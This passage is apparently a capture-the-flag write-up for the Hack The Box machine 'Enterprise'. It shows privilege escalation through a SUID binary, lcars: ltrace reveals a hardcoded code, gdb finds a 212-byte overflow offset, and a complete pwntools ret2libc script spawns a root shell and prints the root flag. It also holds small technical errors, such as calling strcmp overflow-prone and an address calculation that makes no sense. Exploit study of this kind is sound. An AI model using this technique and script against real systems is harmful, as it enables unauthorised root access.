5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ find / -type f -perm -4000 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/at
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/chsh
/bin/umount
/bin/su
/bin/ping
/bin/ntfs-3g
/bin/mount
/bin/lcars
/bin/fusermount
I transferred lcars binary to my box. Checking for the platform for the binary:
1
2
$ file lcars
lcars: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=88410652745b0a94421ce22ea4278a8eaea8db57, not stripped
Figuring out what the binary does: Running ltrace on lcars:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ltrace ./lcars
__libc_start_main(0x565f0c91, 1, 0xffba2804, 0x565f0d30 <unfinished ...>
setresuid(0, 0, 0, 0x565f0ca8) = 0
puts("Enter Bridge Access Code: "Enter Bridge Access Code:
) = 27
fflush(0xf7f27d20) = 0
fgets(asdf
"asdf\n", 9, 0xf7f27580) = 0xffba2737
strcmp("asdf\n", "picarda1") = -1
puts("\nInvalid Code\nTerminating Consol"...
Invalid Code
Terminating Console
) = 35
fflush(0xf7f27d20) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
It tries to compare given input to picarda1
. It also uses strcmp() which is vulnerable to buffer-overflow. Still I wan’t able to exploit that part of code.
Checking for ASLR:
1
2
$ cat /proc/sys/kernel/randomize_va_space
0
When I run the binary now, there’s another prompt for user input:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./lcars
Enter Bridge Access Code: picarda1
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
LCARS Bridge Secondary Controls -- Main Menu:
1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input:
Let’s see the code after we give a valid Access code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void main_menu(void)
{
uint local_d8 [52];
local_d8[0] = 0;
startScreen();
puts("\n");
puts("LCARS Bridge Secondary Controls -- Main Menu: \n");
puts("1. Navigation");
puts("2. Ships Log");
puts("3. Science");
puts("4. Security");
puts("5. StellaCartography");
puts("6. Engineering");
puts("7. Exit");
puts("Waiting for input: ");
fflush(stdout);
__isoc99_scanf(&DAT_00010f92,local_d8);
if (local_d8[0] < 8) {
/* WARNING: Could not recover jumptable at 0x0001097e. Too many branches */
/* WARNING: Treating indirect jump as call */
(*(code *)((int)&_GLOBAL_OFFSET_TABLE_ + *(int *)(&DAT_000110c4 + local_d8[0] * 4)))();
return;
}
unable();
return;
}
This code takes user input with scanf() which is also dangerous. The only option which prints the output with printf() in this binary is option 4-Security.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 -c 'print("picarda1\n4\n"+ "A"*10 +"\n")'| ./lcars
LCARS Bridge Secondary Controls -- Main Menu:
1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input:
Disable Security Force Fields
Enter Security Override:
Rerouting Tertiary EPS Junctions: AAAAAAAAAA
Checking for other protections:
1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : ENABLED
RELRO : Partial
PIE(Position Independent Executables) is enabled which means addresses in the binary will be randomized. So, there’s not much scope for ROP or jumping to specific addresses in the memory. Since NX/DEP is disabled, we can write on the stack and jump straight into it. I’ll try Ret-2-libc as it’s much predictable and somewhat easy. For Ret-2-libc everything I need will be taken from shared library and not the binary, so we’re good to go.
You can see October-Ret2libc for more detailed look on Return-to-libc.
(Note: Essentially ret2libc is somewhat a ROP exploit, since you create a new stackframe to call the system function by returning to the libc library and circumventing a non-executable stack.A ROP in general works similar, you jump to fragments of code (called gadgets) that return at some point and “build” yourself the code you want to execute by combining those fragments. You literally program the code you want to execute, creating new routines that were not in the code before. ret2libc utilizes the system function to get a shell.)
Finding offset
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gdb-peda$ pattern create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
gdb-peda$ r
Enter Bridge Access Code:
picarda1
Waiting for input:
4
Disable Security Force Fields
Enter Security Override:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A
[----------------------------------registers-----------------------------------]
EAX: 0x216
EBX: 0x73254125 ('%A%s')
ECX: 0x0
EDX: 0x0
ESI: 0xf7fa1000 --> 0x1e4d6c
EDI: 0xf7fa1000 --> 0x1e4d6c
EBP: 0x41422541 ('A%BA')
ESP: 0xffffd110 ("nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$A"...)
EIP: 0x25412425 ('%$A%')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
gdb-peda$ pattern offset %$A%
%$A% found at offset: 212
Confirming the offset
I’ll generate a 212 A’s junk and 4 B’s and will see if all the B’s end up on EIP.
1
2
$ python3 -c 'print("A"*212 + "B"*4)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xfa
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x0
ESI: 0xf7fa1000 --> 0x1e4d6c
EDI: 0xf7fa1000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd110 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd110 --> 0x0
0004| 0xffffd114 --> 0xf7dc6e48 --> 0x5189
0008| 0xffffd118 --> 0x6970001a
0012| 0xffffd11c ("carda1")
0016| 0xffffd120 --> 0xf7003161
0020| 0xffffd124 --> 0x56558000 --> 0x2ef0
0024| 0xffffd128 --> 0xf7fa1000 --> 0x1e4d6c
0028| 0xffffd12c --> 0xf7fa1000 --> 0x1e4d6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Getting Addresses
Return-to-libc attack requires addresses of system, exit (Return address) and /bin/sh. We’ll take addresses from the libc shared library present on enterprise.
- Finding address of libc with
ldd
:1 2 3 4
www-data@enterprise:/$ ldd /bin/lcars linux-gate.so.1 => (0xf7ffc000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000) /lib/ld-linux.so.2 (0x56555000)
- Getting offsets for system, exit and /bin/sh with
gdb
, sincereadelf
isn’t present on enterprise. Trying to get system address when the program isn’t running will result in errors:1 2
(gdb) p &system No symbol table is loaded. Use the "file" command.
Run it once or add breakpoint somewhere to access addresses:
1
2
3
4
(gdb) p &system
$1 = (<text variable, no debug info> *) 0xf7e4c060 <system>
(gdb) p exit
$5 = {<text variable, no debug info>} 0xf7e3faf0 <exit>
&function and straight function specified. Both works.
I get /bin/sh address with find
command in gdb. It’s syntax is find [/SIZE-CHAR] [/MAX-COUNT] START-ADDRESS, END-ADDRESS, EXPR1 [, EXPR2, ...]
. I’ll use find libc-address,+bytes,string
1
2
3
4
(gdb) find 0xf7e32000,+10000000, "/bin/sh"
0xf7f70a0f
warning: Unable to access 16000 bytes of target memory at 0xf7fca797, halting search.
1 pattern found.
Note: If you’re not able to get “/bin/sh” address, you can add a breakpoint in main, run the binary then try to get the address.
and for this libc base the final addresses are:
1
2
3
4
5
6
system address
= 0xf7e4c060
exit address
= 0xf7e3faf0
/bin/sh address
= 0xf7f70a0f
You can calculate the final address like this:
1
2
$ python3 -c 'print(hex(0xf7e32000 + 0xf7e4c060))'
0xb7f74a0b
Buffer overflow goes: JUNK + SYSTEM (overwrite ret address) + EXIT (add next return address) + "/bin/sh" (arguments)
. That junk can be just NOPS (No operations ~ \x90
), I’m using bunch of A’s.
The exploit will still not work since /bin/sh address is 0xf7f70a0f
which contains 0x0a
byte which is newline.
I’ll try finding addresses contains sh
string:
1
2
3
4
5
6
7
(gdb) find 0xf7e32000,+10000000, "sh"
0xf7f6ddd5
0xf7f6e7e1
0xf7f70a14
0xf7f72582
warning: Unable to access 16000 bytes of target memory at 0xf7fc8485, halting search.
4 patterns found.
0xf7f6ddd5
address works in this case after trial and error.
Exploit
Since ASLR isn’t enabled, we can do:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
from pwn import *
r = remote("enterprise.htb",32812)
offset = 212
junk = b"A" * offset
system = p32(0xf7e4c060)
exit = p32(0xf7e3faf0)
shell = p32(0xf7f6ddd5)
payload = junk + system + exit + shell
r.recvuntil("Enter Bridge Access Code:")
r.sendline("picarda1")
r.recvuntil("Waiting for input:")
r.sendline("4")
r.recvuntil("Enter Security Override:")
r.sendline(payload)
r.interactive()
Running the script, I got root shell:
1
2
3
4
5
6
7
8
root@TheCaretaker:~$ python3 script.py
[+] Opening connection to enterprise.htb on port 32812: Done
[*] Switching to interactive mode
$ whoami
root
$ cat /root/root.txt
cf941b35b016b3d195639b748ddee717